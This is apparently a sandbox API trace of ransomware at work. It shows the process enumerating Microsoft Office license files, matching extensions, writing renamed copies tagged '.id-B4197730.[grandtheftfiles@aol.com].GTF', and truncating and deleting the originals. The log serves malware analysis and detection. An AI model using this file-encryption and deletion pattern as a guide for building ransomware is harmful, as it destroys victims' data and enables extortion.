	[0182.710] lstrlenW (lpString=".zip") returned 4
	[0182.710] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.710] lstrlenW (lpString=".rar") returned 4
	[0182.710] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.710] lstrlenW (lpString=".bz2") returned 4
	[0182.710] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.710] lstrlenW (lpString=".7z") returned 3
	[0182.710] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0182.710] lstrlenW (lpString=".dbf") returned 4
	[0182.710] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0182.710] lstrlenW (lpString=".1cd") returned 4
	[0182.711] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0182.711] lstrlenW (lpString=".jpg") returned 4
	[0182.711] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0182.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0182.711] lstrlenW (lpString=".doc") returned 4
	[0182.711] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.711] lstrlenW (lpString=".docx") returned 5
	[0182.711] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.711] lstrlenW (lpString=".pdf") returned 4
	[0182.711] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.711] lstrlenW (lpString=".xls") returned 4
	[0182.711] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.711] lstrlenW (lpString=".xlsx") returned 5
	[0182.711] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.711] lstrlenW (lpString=".ppt") returned 4
	[0182.711] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0182.711] lstrlenW (lpString=".zip") returned 4
	[0182.711] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.711] lstrlenW (lpString=".rar") returned 4
	[0182.711] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.711] lstrlenW (lpString=".bz2") returned 4
	[0182.711] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.711] lstrlenW (lpString=".7z") returned 3
	[0182.711] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0182.711] lstrlenW (lpString=".dbf") returned 4
	[0182.711] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0182.712] lstrlenW (lpString=".1cd") returned 4
	[0182.712] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0182.712] lstrlenW (lpString=".jpg") returned 4
	[0182.712] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.712] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.712] lstrlenW (lpString="OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 31
	[0182.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0182.713] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=19937) returned 1
	[0182.713] CloseHandle (hObject=0x554) returned 1
	[0182.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0182.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0182.713] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.713] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0182.714] GetLastError () returned 0x0
	[0182.714] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x4de1, lpOverlapped=0x0) returned 1
	[0182.716] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4df0, lpOverlapped=0x0) returned 1
	[0182.717] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.718] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x112, lpOverlapped=0x0) returned 1
	[0182.718] SetEndOfFile (hFile=0x3dc) returned 1
	[0182.718] CloseHandle (hObject=0x3dc) returned 1
	[0182.718] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.718] SetEndOfFile (hFile=0x554) returned 1
	[0182.721] CloseHandle (hObject=0x554) returned 1
	[0182.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-phn.xrm-ms")) returned 1
	[0182.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0182.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0182.722] lstrlenW (lpString=".doc") returned 4
	[0182.722] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.722] lstrlenW (lpString=".docx") returned 5
	[0182.722] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.722] lstrlenW (lpString=".pdf") returned 4
	[0182.722] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.722] lstrlenW (lpString=".xls") returned 4
	[0182.722] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.722] lstrlenW (lpString=".xlsx") returned 5
	[0182.722] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.722] lstrlenW (lpString=".ppt") returned 4
	[0182.722] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0182.722] lstrlenW (lpString=".zip") returned 4
	[0182.722] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.722] lstrlenW (lpString=".rar") returned 4
	[0182.722] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.723] lstrlenW (lpString=".bz2") returned 4
	[0182.723] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.723] lstrlenW (lpString=".7z") returned 3
	[0182.723] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0182.723] lstrlenW (lpString=".dbf") returned 4
	[0182.723] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0182.723] lstrlenW (lpString=".1cd") returned 4
	[0182.723] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0182.723] lstrlenW (lpString=".jpg") returned 4
	[0182.723] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0182.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0182.723] lstrlenW (lpString=".doc") returned 4
	[0182.723] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.723] lstrlenW (lpString=".docx") returned 5
	[0182.723] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.723] lstrlenW (lpString=".pdf") returned 4
	[0182.723] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.723] lstrlenW (lpString=".xls") returned 4
	[0182.723] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.723] lstrlenW (lpString=".xlsx") returned 5
	[0182.723] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.723] lstrlenW (lpString=".ppt") returned 4
	[0182.723] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0182.723] lstrlenW (lpString=".zip") returned 4
	[0182.723] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.723] lstrlenW (lpString=".rar") returned 4
	[0182.723] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.723] lstrlenW (lpString=".bz2") returned 4
	[0182.723] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.723] lstrlenW (lpString=".7z") returned 3
	[0182.723] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0182.724] lstrlenW (lpString=".dbf") returned 4
	[0182.724] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0182.724] lstrlenW (lpString=".1cd") returned 4
	[0182.724] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0182.724] lstrlenW (lpString=".jpg") returned 4
	[0182.724] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.724] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.724] lstrlenW (lpString="OneNoteR_Retail-pl.xrm-ms") returned 25
	[0182.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0182.725] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10635) returned 1
	[0182.725] CloseHandle (hObject=0x554) returned 1
	[0182.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-pl.xrm-ms")) returned 0x220
	[0182.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0182.725] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.725] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0182.726] GetLastError () returned 0x0
	[0182.726] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x298b, lpOverlapped=0x0) returned 1
	[0183.032] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2990, lpOverlapped=0x0) returned 1
	[0183.034] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.034] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x106, lpOverlapped=0x0) returned 1
	[0183.034] SetEndOfFile (hFile=0x3dc) returned 1
	[0183.034] CloseHandle (hObject=0x3dc) returned 1
	[0183.034] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.034] SetEndOfFile (hFile=0x554) returned 1
	[0183.037] CloseHandle (hObject=0x554) returned 1
	[0183.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.037] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-pl.xrm-ms")) returned 1
	[0183.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75
	[0183.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75
	[0183.038] lstrlenW (lpString=".doc") returned 4
	[0183.038] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.038] lstrlenW (lpString=".docx") returned 5
	[0183.038] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.038] lstrlenW (lpString=".pdf") returned 4
	[0183.038] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.038] lstrlenW (lpString=".xls") returned 4
	[0183.038] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.039] lstrlenW (lpString=".xlsx") returned 5
	[0183.039] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.039] lstrlenW (lpString=".ppt") returned 4
	[0183.039] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75
	[0183.039] lstrlenW (lpString=".zip") returned 4
	[0183.039] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.039] lstrlenW (lpString=".rar") returned 4
	[0183.039] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.039] lstrlenW (lpString=".bz2") returned 4
	[0183.039] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.039] lstrlenW (lpString=".7z") returned 3
	[0183.039] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75
	[0183.039] lstrlenW (lpString=".dbf") returned 4
	[0183.039] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75
	[0183.039] lstrlenW (lpString=".1cd") returned 4
	[0183.039] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75
	[0183.039] lstrlenW (lpString=".jpg") returned 4
	[0183.039] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75
	[0183.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75
	[0183.039] lstrlenW (lpString=".doc") returned 4
	[0183.039] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.039] lstrlenW (lpString=".docx") returned 5
	[0183.039] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.039] lstrlenW (lpString=".pdf") returned 4
	[0183.039] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.039] lstrlenW (lpString=".xls") returned 4
	[0183.039] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.039] lstrlenW (lpString=".xlsx") returned 5
	[0183.039] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.039] lstrlenW (lpString=".ppt") returned 4
	[0183.040] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75
	[0183.040] lstrlenW (lpString=".zip") returned 4
	[0183.040] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.040] lstrlenW (lpString=".rar") returned 4
	[0183.040] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.040] lstrlenW (lpString=".bz2") returned 4
	[0183.040] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.040] lstrlenW (lpString=".7z") returned 3
	[0183.040] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75
	[0183.040] lstrlenW (lpString=".dbf") returned 4
	[0183.040] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75
	[0183.040] lstrlenW (lpString=".1cd") returned 4
	[0183.040] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75
	[0183.040] lstrlenW (lpString=".jpg") returned 4
	[0183.040] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.040] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.040] lstrlenW (lpString="OneNoteVL_MAK-pl.xrm-ms") returned 23
	[0183.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0183.041] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10627) returned 1
	[0183.041] CloseHandle (hObject=0x554) returned 1
	[0183.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-pl.xrm-ms")) returned 0x220
	[0183.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0183.114] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.114] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0183.116] GetLastError () returned 0x0
	[0183.116] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2983, lpOverlapped=0x0) returned 1
	[0183.118] WriteFile (in: hFile=0x55c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2990, lpOverlapped=0x0) returned 1
	[0183.119] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.119] WriteFile (in: hFile=0x55c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x102, lpOverlapped=0x0) returned 1
	[0183.119] SetEndOfFile (hFile=0x55c) returned 1
	[0183.120] CloseHandle (hObject=0x55c) returned 1
	[0183.120] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.120] SetEndOfFile (hFile=0x570) returned 1
	[0183.123] CloseHandle (hObject=0x570) returned 1
	[0183.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-pl.xrm-ms")) returned 1
